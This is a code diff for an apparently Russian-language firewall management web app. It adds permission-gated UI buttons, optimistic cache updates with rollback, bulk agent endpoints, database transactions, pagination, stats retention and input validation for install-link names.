import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
import { Button } from '@evofw/ui/components/button'
import {
@@ -97,6 +98,7 @@ function AgentsPage() {
const agentsQ = useQuery(agentsQueryOptions())
const settingsQ = useQuery(settingsQueryOptions())
const { copyToClipboard } = useCopyToClipboard()
const canWrite = useCan()('fw:agents:write')
const [createOpen, setCreateOpen] = useState(false)
const [deleteAgentId, setDeleteAgentId] = useState<string | null>(null)
const [filters, setFilters] = useState<Filter[]>([])
@@ -125,21 +127,46 @@ function AgentsPage() {
[navigate],
)
/** Optimistically patch the agents list; returns a rollback fn. */
const patchAgentsCache = useCallback(
(patch: (items: Agent[]) => Agent[]) => {
const prev = qc.getQueryData<{ items: Agent[] }>(['agents'])
if (prev) qc.setQueryData(['agents'], { items: patch(prev.items) })
return () => {
if (prev) qc.setQueryData(['agents'], prev)
}
},
[qc],
)
const approve = useMutation({
mutationFn: (id: string) =>
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
onMutate: (id) =>
patchAgentsCache((items) =>
items.map((a) => (a.id === id ? { ...a, status: 'approved' } : a)),
),
onSuccess: () => {
toast.success('Агент одобрен')
void qc.invalidateQueries({ queryKey: ['agents'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _id, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const approveAllPending = useMutation({
mutationFn: async (ids: string[]) => {
await Promise.all(
ids.map((id) =>
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
mutationFn: (ids: string[]) =>
apiFetch('/api/v1/agents/approve-bulk', {
method: 'POST',
body: JSON.stringify({ agent_ids: ids }),
}),
onMutate: (ids) => {
const target = new Set(ids)
return patchAgentsCache((items) =>
items.map((a) =>
target.has(a.id) ? { ...a, status: 'approved' } : a,
),
)
},
@@ -147,12 +174,16 @@ function AgentsPage() {
toast.success('Все pending одобрены')
void qc.invalidateQueries({ queryKey: ['agents'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _ids, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const removeAgent = useMutation({
mutationFn: (id: string) =>
apiFetch(`/api/v1/agents/${id}`, { method: 'DELETE' }),
onMutate: (id) => patchAgentsCache((items) => items.filter((a) => a.id !== id)),
onSuccess: (_data, id) => {
toast.success('Агент удалён')
setDeleteAgentId(null)
@@ -162,7 +193,10 @@ function AgentsPage() {
void qc.invalidateQueries({ queryKey: ['agents'] })
void qc.invalidateQueries({ queryKey: ['dashboard'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _id, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const items = agentsQ.data?.items ?? []
@@ -386,12 +420,12 @@ function AgentsPage() {
</ToggleGroup>
)
const addButton = (
const addButton = canWrite ? (
<Button size="sm" onClick={() => setCreateOpen(true)}>
<Plus data-icon="inline-start" />
Добавить агента
</Button>
)
) : null
return (
<PageShell>
@@ -422,6 +456,7 @@ function AgentsPage() {
>
Показать
</Button>
{canWrite ? (
<Button
size="sm"
disabled={
@@ -432,6 +467,7 @@ function AgentsPage() {
<Check data-icon="inline-start" />
Approve all
</Button>
) : null}
</div>
</FrameHeader>
</Frame>
+8 -4
View File
@@ -15,6 +15,7 @@ import {
import { ConfirmDialog } from '@/components/confirm-dialog'
import { listsQueryOptions, evobgpCommunitiesQueryOptions } from '@/queries'
import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import {
Autocomplete,
AutocompleteContent,
@@ -67,6 +68,7 @@ const CREATE_SOURCE_ITEMS = [
function ListsPage() {
const navigate = useNavigate()
const qc = useQueryClient()
const canWrite = useCan()('fw:lists:write')
const [createOpen, setCreateOpen] = useState(false)
const [name, setName] = useState('')
const [source, setSource] = useState<CreateSource>('static')
@@ -199,10 +201,12 @@ function ListsPage() {
/>
Обновить
</Button>
<Button size="sm" onClick={() => setCreateOpen(true)}>
<Plus data-icon="inline-start" />
Создать
</Button>
{canWrite ? (
<Button size="sm" onClick={() => setCreateOpen(true)}>
<Plus data-icon="inline-start" />
Создать
</Button>
) : null}
</>
}
/>
+20 -20
View File
@@ -44,7 +44,7 @@ import {
import { DataGrid } from '@/components/reui/data-grid/data-grid'
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { getCoreRowModel, useReactTable } from '@tanstack/react-table'
import type { Agent } from '@evofw/shared'
import type { Agent, PolicySet } from '@evofw/shared'
import { Skeleton } from '@evofw/ui/components/skeleton'
import {
Frame,
@@ -107,33 +107,33 @@ function PolicySetDetailPage() {
method: 'PATCH',
body: JSON.stringify(body),
}),
onMutate: (body) => {
const key = ['policy-sets', setId] as const
const prev = qc.getQueryData<PolicySet & { agent_ids: string[] }>(key)
if (prev && body.enabled !== undefined) {
qc.setQueryData(key, { ...prev, enabled: body.enabled })
}
return () => {
if (prev) qc.setQueryData(key, prev)
}
},
onSuccess: () => {
toast.success('Набор обновлён')
void qc.invalidateQueries({ queryKey: ['policy-sets'] })
void qc.invalidateQueries({ queryKey: ['agents'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _body, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const saveAgents = useMutation({
mutationFn: async () => {
const allAgents = agentsQ.data?.items ?? []
await Promise.all(
allAgents.map(async (a) => {
const current = await apiFetch<{
items: { set_id: string }[]
}>(`/api/v1/agents/${a.id}/policy-sets`)
const others = current.items
.map((i) => i.set_id)
.filter((id) => id !== setId)
const next = assignedIds.includes(a.id) ? [...others, setId] : others
await apiFetch(`/api/v1/agents/${a.id}/policy-sets`, {
method: 'PUT',
body: JSON.stringify({ set_ids: next }),
})
}),
)
},
mutationFn: () =>
apiFetch(`/api/v1/policy-sets/${setId}/agents`, {
method: 'PUT',
body: JSON.stringify({ agent_ids: assignedIds }),
}),
onSuccess: () => {
toast.success('Назначение агентов сохранено')
setSelectedAgents(null)
+4 -2
View File
@@ -13,6 +13,7 @@ import { ConfirmDialog } from '@/components/confirm-dialog'
import { PolicySetIcon } from '@/components/rules/policy-set-icon'
import { policySetsQueryOptions } from '@/queries'
import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import { Button } from '@evofw/ui/components/button'
import { Field, FieldLabel } from '@evofw/ui/components/field'
import { Input } from '@evofw/ui/components/input'
@@ -200,12 +201,13 @@ function PolicySetsPage() {
[navigate],
)
const addButton = (
const canCreate = useCan()('fw:policies:write')
const addButton = canCreate ? (
<Button size="sm" onClick={() => setSheetOpen(true)}>
<Plus data-icon="inline-start" />
Новый набор
</Button>
)
) : null
return (
<PageShell>
+21 -12
View File
@@ -1,7 +1,7 @@
import { createFileRoute } from '@tanstack/react-router'
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
import { toast } from 'sonner'
import { useEffect, useState } from 'react'
import { useEffect, useRef, useState } from 'react'
import { PageHeader, PageShell } from '@/components/reui-kit'
import {
Frame,
@@ -14,12 +14,12 @@ import { LoadingButton } from '@/components/loading-button'
import { SettingRow } from '@/components/setting-row'
import { settingsQueryOptions } from '@/queries'
import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import { Input } from '@evofw/ui/components/input'
import { Switch } from '@evofw/ui/components/switch'
/**
* Control plane settings — single page: PageShell + Frame + SettingRow.
* SettingsShell (reui-kit) — только при 2+ секциях.
* Preview: https://reui.io/preview/base/settings-16 · https://reui.io/preview/base/settings-3
*/
@@ -30,10 +30,16 @@ export const Route = createFileRoute('/_auth/settings')({
function SettingsPage() {
const qc = useQueryClient()
const settingsQ = useQuery(settingsQueryOptions())
const canSave = useCan()('fw:settings:admin')
const [form, setForm] = useState<Record<string, string>>({})
// Seed the form once — a background refetch must not wipe in-progress edits.
const initialized = useRef(false)
useEffect(() => {
if (settingsQ.data) setForm(settingsQ.data)
if (settingsQ.data && !initialized.current) {
initialized.current = true
setForm(settingsQ.data)
}
}, [settingsQ.data])
const save = useMutation({
@@ -129,15 +135,18 @@ function SettingsPage() {
</div>
</FramePanel>
</Frame>
<div className="flex justify-end">
<LoadingButton
onClick={() => save.mutate()}
isLoading={save.isPending}
loadingLabel="Сохранение…"
>
Сохранить
</LoadingButton>
</div>
{canSave ? (
<div className="flex justify-end">
<LoadingButton
onClick={() => save.mutate()}
isLoading={save.isPending}
disabled={!initialized.current}
loadingLabel="Сохранение…"
>
Сохранить
</LoadingButton>
</div>
) : null}
</PageShell>
)
}
+35 -1
View File
@@ -6,10 +6,44 @@ import { TanStackRouterVite } from '@tanstack/router-plugin/vite'
export default defineConfig({
plugins: [
TanStackRouterVite({ routesDirectory: './src/routes', target: 'react' }),
TanStackRouterVite({
routesDirectory: './src/routes',
target: 'react',
autoCodeSplitting: true,
}),
react(),
tailwindcss(),
],
build: {
rollupOptions: {
output: {
manualChunks(id) {
if (
/node_modules[\\/](recharts|victory-vendor|d3-[a-z-]+|react-smooth|recharts-scale)[\\/]/.test(
id,
)
) {
return 'charts'
}
if (/node_modules[\\/]@dnd-kit[\\/]/.test(id)) return 'dnd'
if (
/node_modules[\\/](react|react-dom|scheduler|clsx|tailwind-merge)[\\/]/.test(
id,
)
) {
return 'react'
}
if (/node_modules[\\/]@tanstack[\\/]react-router[\\/]/.test(id)) {
return 'router'
}
if (/node_modules[\\/]@tanstack[\\/]react-query[\\/]/.test(id)) {
return 'query'
}
return undefined
},
},
},
},
resolve: {
alias: {
'@': path.resolve(__dirname, './src'),
View File
+63 -4
View File
@@ -43,9 +43,12 @@ paths:
summary: List install links
tags: [agents]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Links
description: Links (items + total)
post:
summary: Create install link + invited agent
tags: [agents]
@@ -70,9 +73,33 @@ paths:
summary: List agents
tags: [agents]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Agents
description: Agents (items + total)
/api/v1/agents/approve-bulk:
post:
summary: Approve many pending/invited agents in one request
tags: [agents]
security: [{ bearerAuth: [] }]
requestBody:
required: true
content:
application/json:
schema:
type: object
required: [agent_ids]
properties:
agent_ids:
type: array
maxItems: 1000
items: { type: string }
responses:
'200':
description: Approved agents (skips non-pending/invited)
/api/v1/agents/{id}:
get:
@@ -199,9 +226,12 @@ paths:
summary: List IP lists
tags: [lists]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Lists
description: Lists (items + total)
post:
summary: Create IP list
tags: [lists]
@@ -328,14 +358,33 @@ paths:
'200':
description: Reordered
/api/v1/policy-sets/{id}/agents:
put:
summary: Replace which agents have this set assigned
description: >-
Listed agents gain the set (other assignments preserved), unlisted
agents lose it. Body — { agent_ids: string[] } (empty array clears).
tags: [policies]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Id'
responses:
'200':
description: '{ agent_ids, added, removed }'
'404':
description: Set or agent not found
/api/v1/rules:
get:
summary: List policy rules (optional set filter)
tags: [policies]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Rules
description: Rules (items + total)
post:
summary: Create policy rule
tags: [policies]
@@ -787,6 +836,16 @@ components:
in: path
required: true
schema: { type: string }
Limit:
name: limit
in: query
schema: { type: integer, minimum: 1, maximum: 1000 }
description: Page size (without limit/offset the full list is returned)
Offset:
name: offset
in: query
schema: { type: integer, minimum: 0 }
description: Page offset (response includes total)
schemas:
AgentPortRule:
type: object
+3 -1
View File
@@ -2,7 +2,9 @@ import { defineConfig } from 'drizzle-kit'
export default defineConfig({
schema: './src/schema.ts',
out: './drizzle',
// Migration SQL files live here and are applied by the custom runner in
// src/client.ts (runMigrations); drizzle-kit generate adds new files to it.
out: './migrations',
dialect: 'sqlite',
dbCredentials: { url: 'data/app.db' },
})
+1
View File
@@ -12,6 +12,7 @@
}
},
"scripts": {
"typecheck": "tsc --noEmit",
"build": "tsup src/index.ts --format esm --dts",
"dev": "tsup src/index.ts --format esm --dts --watch",
"db:generate": "drizzle-kit generate",
+12
View File
@@ -14,6 +14,8 @@ export {
updateIpList,
deleteIpList,
listIpListEntries,
mapIpListEntriesByListIds,
mapIpListNames,
countEntriesByListIds,
replaceIpListEntries,
} from './lists.js'
@@ -45,6 +47,7 @@ export {
deletePolicyRule,
listHostnameRules,
listResolvedForRule,
mapResolvedCidrsByRuleIds,
replaceResolvedForRule,
listOverrides,
insertOverride,
@@ -57,6 +60,7 @@ export {
listStatsSamples,
listRecentStats,
deleteStatsSamplesForAgent,
deleteStatsSamplesBefore,
upsertIpBlockStats,
listIpBlockStats,
deleteIpBlockStatsForAgent,
@@ -121,6 +125,8 @@ import {
updateIpList,
deleteIpList,
listIpListEntries,
mapIpListEntriesByListIds,
mapIpListNames,
countEntriesByListIds,
replaceIpListEntries,
} from './lists.js'
@@ -151,6 +157,7 @@ import {
deletePolicyRule,
listHostnameRules,
listResolvedForRule,
mapResolvedCidrsByRuleIds,
replaceResolvedForRule,
listOverrides,
insertOverride,
@@ -162,6 +169,7 @@ import {
listStatsSamples,
listRecentStats,
deleteStatsSamplesForAgent,
deleteStatsSamplesBefore,
upsertIpBlockStats,
listIpBlockStats,
deleteIpBlockStatsForAgent,
@@ -216,6 +224,8 @@ export const repos = {
updateIpList,
deleteIpList,
listIpListEntries,
mapIpListEntriesByListIds,
mapIpListNames,
countEntriesByListIds,
replaceIpListEntries,
listPolicySets,
@@ -240,6 +250,7 @@ export const repos = {
deletePolicyRule,
listHostnameRules,
listResolvedForRule,
mapResolvedCidrsByRuleIds,
replaceResolvedForRule,
listOverrides,
insertOverride,
@@ -248,6 +259,7 @@ export const repos = {
listStatsSamples,
listRecentStats,
deleteStatsSamplesForAgent,
deleteStatsSamplesBefore,
upsertIpBlockStats,
listIpBlockStats,
deleteIpBlockStatsForAgent,
+43 -13
View File
@@ -39,6 +39,34 @@ export function listIpListEntries(db: Db, listId: string) {
.all()
}
/** Entries for many lists in one query (agent policy hot path). */
export function mapIpListEntriesByListIds(
db: Db,
listIds: string[],
): Map<string, string[]> {
const map = new Map<string, string[]>()
for (const id of listIds) map.set(id, [])
if (listIds.length === 0) return map
const rows = db
.select({ listId: ipListEntries.listId, cidr: ipListEntries.cidr })
.from(ipListEntries)
.where(inArray(ipListEntries.listId, listIds))
.all()
for (const r of rows) map.get(r.listId)?.push(r.cidr)
return map
}
/** List names for many ids in one query. */
export function mapIpListNames(db: Db, ids: string[]): Map<string, string> {
if (ids.length === 0) return new Map()
const rows = db
.select({ id: ipLists.id, name: ipLists.name })
.from(ipLists)
.where(inArray(ipLists.id, ids))
.all()
return new Map(rows.map((r) => [r.id, r.name]))
}
/** Entry counts for many lists in one query. */
export function countEntriesByListIds(
db: Db,
@@ -60,17 +88,19 @@ export function countEntriesByListIds(
}
export function replaceIpListEntries(db: Db, listId: string, cidrs: string[]) {
db.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
db.insert(ipListEntries)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
listId,
cidr,
createdAt: now,
})),
)
.run()
db.transaction((tx) => {
tx.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
tx.insert(ipListEntries)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
listId,
cidr,
createdAt: now,
})),
)
.run()
})
}
+60 -34
View File
@@ -170,11 +170,13 @@ export function setAgentPolicySets(db: Db, agentId: string, setIds: string[]) {
}
}
db.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run()
setIds.forEach((setId, i) => {
db.insert(agentPolicySets)
.values({ agentId, setId, sort: i * 10 })
.run()
db.transaction((tx) => {
tx.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run()
setIds.forEach((setId, i) => {
tx.insert(agentPolicySets)
.values({ agentId, setId, sort: i * 10 })
.run()
})
})
bumpAgentGeneration(db, agentId)
}
@@ -271,20 +273,22 @@ export function reorderPolicyRules(
throw new Error('ordered_ids must list every rule in the set exactly once')
}
// Temporary priorities to avoid UNIQUE collisions
orderedIds.forEach((id, i) => {
db.update(policyRules)
.set({ priority: 9000 + i, updatedAt: new Date().toISOString() })
.where(eq(policyRules.id, id))
.run()
})
orderedIds.forEach((id, i) => {
db.update(policyRules)
.set({
priority: (i + 1) * 10,
updatedAt: new Date().toISOString(),
})
.where(eq(policyRules.id, id))
.run()
db.transaction((tx) => {
orderedIds.forEach((id, i) => {
tx.update(policyRules)
.set({ priority: 9000 + i, updatedAt: new Date().toISOString() })
.where(eq(policyRules.id, id))
.run()
})
orderedIds.forEach((id, i) => {
tx.update(policyRules)
.set({
priority: (i + 1) * 10,
updatedAt: new Date().toISOString(),
})
.where(eq(policyRules.id, id))
.run()
})
})
}
@@ -315,22 +319,44 @@ export function listResolvedForRule(db: Db, ruleId: string) {
.all()
}
/** Resolved CIDRs for many hostname rules in one query. */
export function mapResolvedCidrsByRuleIds(
db: Db,
ruleIds: string[],
): Map<string, string[]> {
const map = new Map<string, string[]>()
for (const id of ruleIds) map.set(id, [])
if (ruleIds.length === 0) return map
const rows = db
.select({
ruleId: policyRuleResolved.ruleId,
cidr: policyRuleResolved.cidr,
})
.from(policyRuleResolved)
.where(inArray(policyRuleResolved.ruleId, ruleIds))
.all()
for (const r of rows) map.get(r.ruleId)?.push(r.cidr)
return map
}
export function replaceResolvedForRule(db: Db, ruleId: string, cidrs: string[]) {
db.delete(policyRuleResolved)
.where(eq(policyRuleResolved.ruleId, ruleId))
.run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
db.insert(policyRuleResolved)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
ruleId,
cidr,
resolvedAt: now,
})),
)
.run()
db.transaction((tx) => {
tx.delete(policyRuleResolved)
.where(eq(policyRuleResolved.ruleId, ruleId))
.run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
tx.insert(policyRuleResolved)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
ruleId,
cidr,
resolvedAt: now,
})),
)
.run()
})
}
export function listOverrides(db: Db, agentId: string) {
+13 -1
View File
@@ -1,4 +1,4 @@
import { and, eq, desc, sql, inArray } from 'drizzle-orm'
import { and, eq, desc, sql, inArray, lt } from 'drizzle-orm'
import type { Db } from '../client.js'
import {
agentIpBlockStats,
@@ -38,6 +38,18 @@ export function deleteStatsSamplesForAgent(db: Db, agentId: string) {
.run()
}
/**
* Retention: drop raw samples recorded before the cutoff ISO timestamp.
* Lifetime totals live on the agent row; per-IP/per-port aggregates are kept.
*/
export function deleteStatsSamplesBefore(db: Db, cutoffIso: string): number {
const result = db
.delete(agentStatsSamples)
.where(lt(agentStatsSamples.recordedAt, cutoffIso))
.run()
return result.changes
}
export type IpHitInput = { ip: string; packets: number }
/** Gap after which a new presence report counts as a re-hit (left EVOFW_HITS). */
+1
View File
@@ -12,6 +12,7 @@
}
},
"scripts": {
"typecheck": "tsc --noEmit",
"build": "tsup src/index.ts --format esm --dts",
"dev": "tsup src/index.ts --format esm --dts --watch",
"test": "vitest run --passWithNoTests"
+20 -1
View File
@@ -181,6 +181,11 @@ export const putAgentPolicySetsBodySchema = z.object({
set_ids: z.array(z.string()),
})
/** Shared body for bulk agent operations (approve-bulk, policy-set assignment). Empty array = clear assignment. */
export const agentIdsBodySchema = z.object({
agent_ids: z.array(z.string().min(1)).max(1000),
})
export const createOverrideBodySchema = z.object({
cidr: z.string().min(1),
action: policyActionSchema,
@@ -492,8 +497,22 @@ export const dashboardStatsSchema = z.object({
lists_total: z.number().int(),
})
/**
* Install-link client name. The name is embedded into generated bash /
* RouterOS install scripts, so it is limited to safe printable characters.
*/
export const installLinkNameSchema = z
.string()
.trim()
.min(1)
.max(64)
.regex(
/^[\p{L}\p{N}][\p{L}\p{N} .:_-]*$/u,
'Имя может содержать буквы, цифры и символы . : _ - (без перевода строк и кавычек)',
)
export const createInstallLinkBodySchema = z.object({
name: z.string().min(1),
name: installLinkNameSchema,
platform: agentPlatformSchema.optional().default('linux'),
})
+14
View File
@@ -11,6 +11,20 @@ describe('permissionForRequest', () => {
)
})
it('maps agent stats endpoints to stats permission, not agents', () => {
expect(
permissionForRequest('GET', '/api/v1/agents/a1/stats'),
).toBe('fw:stats:read')
expect(
permissionForRequest('GET', '/api/v1/agents/a1/blocked-ips'),
).toBe('fw:stats:read')
// reset is destructive — stays under agents write
expect(
permissionForRequest('POST', '/api/v1/agents/a1/stats/reset'),
).toBe('fw:agents:write')
expect(permissionForRequest('GET', '/api/v1/agents')).toBe('fw:agents:read')
})
it('maps integrations to lists read / settings admin', () => {
expect(
permissionForRequest('GET', '/api/v1/integrations/evobgp/communities'),
+6
View File
@@ -29,6 +29,12 @@ export function permissionForRequest(
const m = method.toUpperCase()
const write = m !== 'GET' && m !== 'HEAD' && m !== 'OPTIONS'
// Agent statistics live under /agents/:id/… — classify as stats, not agents.
if (
/^\/api\/v1\/agents\/[^/]+\/(stats|blocked-ips|blocked-ports)$/.test(path)
) {
return 'fw:stats:read'
}
if (path.startsWith('/api/v1/agents') || path.startsWith('/api/v1/install-links')) {
return write ? 'fw:agents:write' : 'fw:agents:read'
}
+1 -1
View File
@@ -27,7 +27,7 @@
"lucide-react": "^0.468.0",
"next-themes": "^0.4.6",
"react-day-picker": "^9.4.0",
"recharts": "^2.15.0",
"recharts": "^3.8.0",
"sonner": "^1.7.0",
"tailwind-merge": "^3.0.0",
"tw-animate-css": "^1.0.0"

Some files were not shown because too many files have changed in this diff Show More